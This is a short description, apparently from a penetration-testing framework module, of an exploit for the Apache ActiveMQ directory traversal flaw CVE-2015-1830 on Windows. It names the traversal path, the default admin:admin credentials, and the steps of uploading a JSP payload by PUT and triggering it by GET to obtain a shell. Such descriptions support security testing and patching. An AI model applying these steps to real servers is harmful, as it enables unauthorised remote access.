          This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
          ActiveMQ 5.x before 5.11.2 for Windows.

          The module tries to upload a JSP payload to the /admin directory via the traversal
          path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
          credentials admin:admin (or other credentials provided by the user). It then issues
          an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
          payload and obtain a shell.
